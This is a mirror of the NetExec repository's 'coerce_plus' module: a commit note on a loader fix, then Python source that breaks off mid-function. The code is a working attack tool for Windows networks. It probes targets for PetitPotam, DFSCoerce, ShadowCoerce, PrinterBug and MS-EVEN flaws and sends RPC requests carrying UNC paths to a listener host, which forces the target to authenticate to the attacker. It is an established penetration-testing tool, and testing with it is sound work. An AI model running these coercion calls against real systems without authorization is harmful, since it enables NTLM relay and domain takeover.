mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-07 09:26:01 -10:00
Commit 81c6d9fb (PR #866) moved get_dynamic_endpoint from a module-level
function to a @staticmethod on NXCModule. This broke coerce_plus when used
with any other -M module that loads after it, because the module loader
uses the same sys.modules key for all modules, causing the NXCModule class
reference to be overwritten by whichever module loads last.
As a module-level function, get_dynamic_endpoint is not resolved through
the NXCModule class name and is unaffected by the collision.
Also makes the [dcerpc] endpoint resolution lazy so it only runs when
that pipe is actually selected, avoiding an unnecessary network call
to port 135 on every target.
Co-Authored-By: Claude Opus 4.6 <[email protected]>
1277 lines
53 KiB
Python
1277 lines
53 KiB
Python
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
|
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
|
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
|
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
|
from impacket.uuid import uuidtup_to_bin
|
|
from nxc.helpers.misc import CATEGORY
|
|
import contextlib
|
|
|
|
|
|
class NXCModule:
|
|
name = "coerce_plus"
|
|
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
|
|
supported_protocols = ["smb"]
|
|
category = CATEGORY.PRIVILEGE_ESCALATION
|
|
|
|
def __init__(self, context=None, module_options=None):
|
|
self.context = context
|
|
self.module_options = module_options
|
|
self.listener = None
|
|
self.always_continue = None
|
|
self.method = "all"
|
|
|
|
def options(self, context, module_options):
|
|
"""
|
|
LISTENER LISTENER for exploitation (default: 127.0.0.1)
|
|
ALWAYS Always continue to all exploit (default: False)
|
|
METHOD Exploit method (Petitpotam, DFSCoerce, ShadowCoerce, Printerbug, MSEven, All default: All)
|
|
M Alias for METHOD
|
|
L Alias for LISTENER
|
|
"""
|
|
self.listener = None
|
|
if "LISTENER" in module_options:
|
|
self.listener = module_options["LISTENER"]
|
|
if "L" in module_options:
|
|
self.listener = module_options["L"]
|
|
if "ALWAYS" in module_options:
|
|
self.always_continue = True
|
|
if "METHOD" in module_options:
|
|
self.method = module_options["METHOD"].lower()
|
|
if "M" in module_options:
|
|
self.method = module_options["M"].lower()
|
|
|
|
def on_login(self, context, connection):
|
|
runmethod = False
|
|
if self.method == "all" or self.method[:1] == "d": # DFSCoerce
|
|
runmethod = True
|
|
"""DFSCOERCE START"""
|
|
try:
|
|
dfscocerceclass = DFSCoerceTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
dfscocerceconnect = dfscocerceclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe="netdfs"
|
|
)
|
|
|
|
if dfscocerceconnect is not None:
|
|
context.log.debug("Target is vulnerable to DFSCoerce")
|
|
context.log.highlight("VULNERABLE, DFSCoerce")
|
|
if self.listener is not None: # exploit
|
|
dfscocerceclass.exploit(dfscocerceconnect, self.listener, self.always_continue, "netdfs")
|
|
dfscocerceconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to DFSCoerce")
|
|
except Exception as e:
|
|
context.log.error(f"Error in DFSCoerce module: {e}")
|
|
""" DFSCOERCE END """
|
|
|
|
if self.method == "all" or self.method[:1] == "s": # ShadowCoerce
|
|
runmethod = True
|
|
""" ShadowCoerce START """
|
|
try:
|
|
shadowcocerceclass = ShadowCoerceTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
shadowcocerceconnect = shadowcocerceclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe="Fssagentrpc"
|
|
)
|
|
|
|
if shadowcocerceconnect is not None:
|
|
context.log.debug("Target is vulnerable to ShadowCoerce")
|
|
context.log.highlight("VULNERABLE, ShadowCoerce")
|
|
if self.listener is not None: # exploit
|
|
shadowcocerceclass.exploit(shadowcocerceconnect, self.listener, self.always_continue, "Fssagentrpc")
|
|
shadowcocerceconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to ShadowCoerce")
|
|
except Exception as e:
|
|
context.log.error(f"Error in ShadowCoerce module: {e}")
|
|
""" ShadowCoerce END """
|
|
|
|
if self.method == "all" or self.method[:2] == "pe": # PetitPotam
|
|
runmethod = True
|
|
""" PETITPOTAM START """
|
|
pipes = ["efsrpc", "lsarpc", "samr", "lsass", "netlogon"]
|
|
reducelog = True
|
|
for pipe in pipes:
|
|
context.log.debug(f"Trying to connect to {pipe} pipe")
|
|
try:
|
|
petitpotamclass = PetitPotamtTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
petitpotamconnect = petitpotamclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe=pipe
|
|
)
|
|
|
|
if petitpotamconnect is not None:
|
|
if reducelog:
|
|
context.log.debug("Target is vulnerable to PetitPotam")
|
|
context.log.highlight("VULNERABLE, PetitPotam")
|
|
reducelog = False
|
|
if self.listener is not None: # exploit TODO
|
|
exploit_status = petitpotamclass.exploit(petitpotamconnect, self.listener, self.always_continue, pipe)
|
|
if not self.always_continue and exploit_status:
|
|
break
|
|
petitpotamconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to PetitPotam")
|
|
except Exception as e:
|
|
context.log.error(f"Error in PetitPotam module: {e}")
|
|
""" PETITPOTAM END """
|
|
|
|
if self.method == "all" or self.method[:2] == "pr": # PrinterBug
|
|
runmethod = True
|
|
""" PRINTERBUG START """
|
|
pipes = ["spoolss", "[dcerpc]"]
|
|
for pipe in pipes:
|
|
try:
|
|
printerbugclass = PrinterBugTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
printerbugconnect = printerbugclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe=pipe
|
|
)
|
|
|
|
if printerbugconnect is not None:
|
|
context.log.debug("Target is vulnerable to PrinterBug")
|
|
context.log.highlight("VULNERABLE, PrinterBug")
|
|
if self.listener is not None: # exploit
|
|
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
|
|
if not self.always_continue and exploit_status:
|
|
break
|
|
printerbugconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to PrinterBug")
|
|
except Exception as e:
|
|
context.log.error(f"Error in PrinterBug module: {e}")
|
|
""" PRINTERBUG END """
|
|
|
|
if self.method == "all" or self.method[:1] == "m": # MSEven
|
|
runmethod = True
|
|
""" MSEVEN START """
|
|
try:
|
|
msevenclass = MSEvenTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
msevenconnect = msevenclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe="eventlog"
|
|
)
|
|
|
|
if msevenconnect is not None:
|
|
context.log.debug("Target is vulnerable to MSEven")
|
|
context.log.highlight("VULNERABLE, MSEven")
|
|
if self.listener is not None: # exploit
|
|
msevenclass.exploit(msevenconnect, self.listener, self.always_continue, "eventlog")
|
|
msevenconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to MSEven")
|
|
except Exception as e:
|
|
context.log.error(f"Error in MSEven module: {e}")
|
|
""" MSEVEN END """
|
|
if not runmethod:
|
|
context.log.error("Invalid method, please check the method name.")
|
|
return
|
|
|
|
|
|
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
|
|
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
|
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
|
rpctransport.set_connect_timeout(timeout)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
|
|
|
|
|
class ShadowCoerceTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"Fssagentrpc": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]",
|
|
"MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"),
|
|
},
|
|
}
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_FSRVP"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("[+] Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending IsPathShadowCopied!")
|
|
try:
|
|
request = IsPathShadowCopied()
|
|
request["ShareName"] = f"{listener}\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0:
|
|
self.context.log.debug("IsPathShadowCopied Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\IsPathShadowCopied")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending IsPathSupported!")
|
|
try:
|
|
request = IsPathSupported()
|
|
request["ShareName"] = f"{listener}\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0:
|
|
self.context.log.debug("IsPathSupported Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\IsPathSupported")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class NetrDfsAddStdRootForcedResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsAddStdRootForced(NDRCALL):
|
|
opnum = 15
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("RootShare", WSTR), # Type: WCHAR *
|
|
("Comment", WSTR), # Type: WCHAR *
|
|
("Share", WSTR), # Type: WCHAR *
|
|
)
|
|
|
|
|
|
class NetrDfsRemoveRootTargetResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsRemoveRootTarget(NDRCALL):
|
|
opnum = 24
|
|
structure = (
|
|
("pDfsPath", LPWSTR), # Type: LPWSTR
|
|
("pTargetPath", LPWSTR), # Type: LPWSTR
|
|
("Flags", ULONG), # Type: ULONG
|
|
)
|
|
|
|
|
|
class NetrDfsAddRootTargetResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsAddRootTarget(NDRCALL):
|
|
opnum = 23
|
|
structure = (
|
|
("pDfsPath", LPWSTR), # Type: LPWSTR
|
|
("pTargetPath", LPWSTR), # Type: LPWSTR
|
|
("MajorVersion", ULONG), # Type: ULONG
|
|
("pComment", LPWSTR), # Type: LPWSTR
|
|
("NewNamespace", BOOL), # Type: BOOLEAN
|
|
("Flags", ULONG), # Type: ULONG
|
|
)
|
|
|
|
|
|
class DFSCoerceTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"netdfs": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]",
|
|
"MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"),
|
|
},
|
|
}
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
rpctransport.set_dport(445)
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_DFSNM"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("[+] Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending NetrDfsAddStdRootForced!")
|
|
try:
|
|
request = NetrDfsAddStdRootForced()
|
|
""" NET_API_STATUS NetrDfsAddStdRootForced(
|
|
[in, string] WCHAR* ServerName,
|
|
[in, string] WCHAR* RootShare,
|
|
[in, string] WCHAR* Comment,
|
|
[in, string] WCHAR* Share
|
|
);
|
|
"""
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["RootShare"] = "test\x00"
|
|
request["Comment"] = "test\x00"
|
|
request["Share"] = "x:\\test\x00"
|
|
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsAddRootTarget!")
|
|
try:
|
|
request = NetrDfsAddRootTarget()
|
|
""" NET_API_STATUS NetrDfsAddRootTarget(
|
|
[in, unique, string] LPWSTR pDfsPath,
|
|
[in, unique, string] LPWSTR pTargetPath,
|
|
[in] ULONG MajorVersion,
|
|
[in, unique, string] LPWSTR pComment,
|
|
[in] BOOLEAN NewNamespace,
|
|
[in] ULONG Flags
|
|
);
|
|
"""
|
|
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
|
|
request["pTargetPath"] = NULL
|
|
request["MajorVersion"] = 0
|
|
request["pComment"] = "test\x00"
|
|
request["NewNamespace"] = 0
|
|
request["Flags"] = 0
|
|
dce.request(request)
|
|
self.context.log.debug("NetrDfsAddRootTarget Success")
|
|
return True
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
# Private exploit
|
|
self.context.log.debug("Sending NetrDfsRemoveRootTarget!")
|
|
try:
|
|
request = NetrDfsRemoveRootTarget()
|
|
""" NET_API_STATUS NetrDfsRemoveRootTarget(
|
|
[in, unique, string] LPWSTR pDfsPath,
|
|
[in, unique, string] LPWSTR pTargetPath,
|
|
[in] ULONG Flags
|
|
);
|
|
"""
|
|
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
|
|
request["pTargetPath"] = NULL
|
|
request["Flags"] = 0
|
|
dce.request(request)
|
|
self.context.log.debug("NetrDfsRemoveRootTarget Success")
|
|
return True
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsManagerInitialize!")
|
|
try:
|
|
request = NetrDfsManagerInitialize()
|
|
""" NET_API_STATUS NetrDfsManagerInitialize(
|
|
[in, string] WCHAR* ServerName,
|
|
[in] DWORD Flags
|
|
);
|
|
"""
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["Flags"] = 0 # Flags: This parameter MUST be zero.
|
|
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsManagerInitialize!")
|
|
try:
|
|
request = NetrDfsManagerInitialize()
|
|
""" NET_API_STATUS NetrDfsManagerInitialize(
|
|
[in, string] WCHAR* ServerName,
|
|
[in] DWORD Flags
|
|
);
|
|
"""
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["Flags"] = 0 # Flags: This parameter MUST be zero.
|
|
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsAddStdRoot!")
|
|
try:
|
|
request = NetrDfsAddStdRoot()
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["RootShare"] = "test\x00"
|
|
request["Comment"] = "test\x00"
|
|
request["ApiFlags"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsRemoveStdRoot!")
|
|
try:
|
|
request = NetrDfsRemoveStdRoot()
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["RootShare"] = "test\x00"
|
|
request["ApiFlags"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
def handle_exception(self, method_name, always_continue, pipe, e):
|
|
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_BAD_NETPATH") >= 0 or str(e).find("RPC_S_INVALID_NET_ADDR") >= 0:
|
|
self.context.log.debug(f"{method_name} Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\{method_name}")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("ERROR_NOT_SUPPORTED") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class PetitPotamtTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"lsarpc": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
"efsrpc": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]",
|
|
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
|
},
|
|
"samr": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\samr]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
"lsass": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
"netlogon": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
}
|
|
|
|
# activates EFS
|
|
# https://specterops.io/blog/2025/08/19/will-webclient-start/
|
|
with contextlib.suppress(Exception):
|
|
get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
|
|
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
rpctransport.set_dport(445)
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending EfsRpcAddUsersToFile!")
|
|
try:
|
|
request = EfsRpcAddUsersToFile()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcAddUsersToFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcAddUsersToFile")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcAddUsersToFileEx!")
|
|
try:
|
|
request = EfsRpcAddUsersToFileEx()
|
|
request["dwFlags"] = 0x00000002
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcAddUsersToFileEx Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcAddUsersToFileEx")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcDecryptFileSrv!")
|
|
try:
|
|
request = EfsRpcDecryptFileSrv()
|
|
request["OpenFlag"] = 0
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcDecryptFileSrv Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcDecryptFileSrv")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcDuplicateEncryptionInfoFile!")
|
|
try:
|
|
request = EfsRpcDuplicateEncryptionInfoFile()
|
|
request["SrcFileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["DestFileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["dwCreationDisposition"] = 0
|
|
request["dwAttributes"] = 0
|
|
request["RelativeSD"] = EFS_RPC_BLOB()
|
|
request["bInheritHandle"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcDuplicateEncryptionInfoFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcDuplicateEncryptionInfoFile")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcEncryptFileSrv!")
|
|
try:
|
|
request = EfsRpcEncryptFileSrv()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcEncryptFileSrv Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcEncryptFileSrv")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcEncryptFileSrv!")
|
|
try:
|
|
request = EfsRpcEncryptFileSrv()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcEncryptFileSrv Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcEncryptFileSrv")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcFileKeyInfo!")
|
|
try:
|
|
request = EfsRpcFileKeyInfo()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["InfoClass"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcFileKeyInfo Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcFileKeyInfo")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcQueryRecoveryAgents!")
|
|
try:
|
|
request = EfsRpcQueryRecoveryAgents()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcQueryRecoveryAgents Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcQueryRecoveryAgents")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcQueryUsersOnFile!")
|
|
try:
|
|
request = EfsRpcQueryUsersOnFile()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcQueryUsersOnFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcQueryUsersOnFile")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcRemoveUsersFromFile!")
|
|
try:
|
|
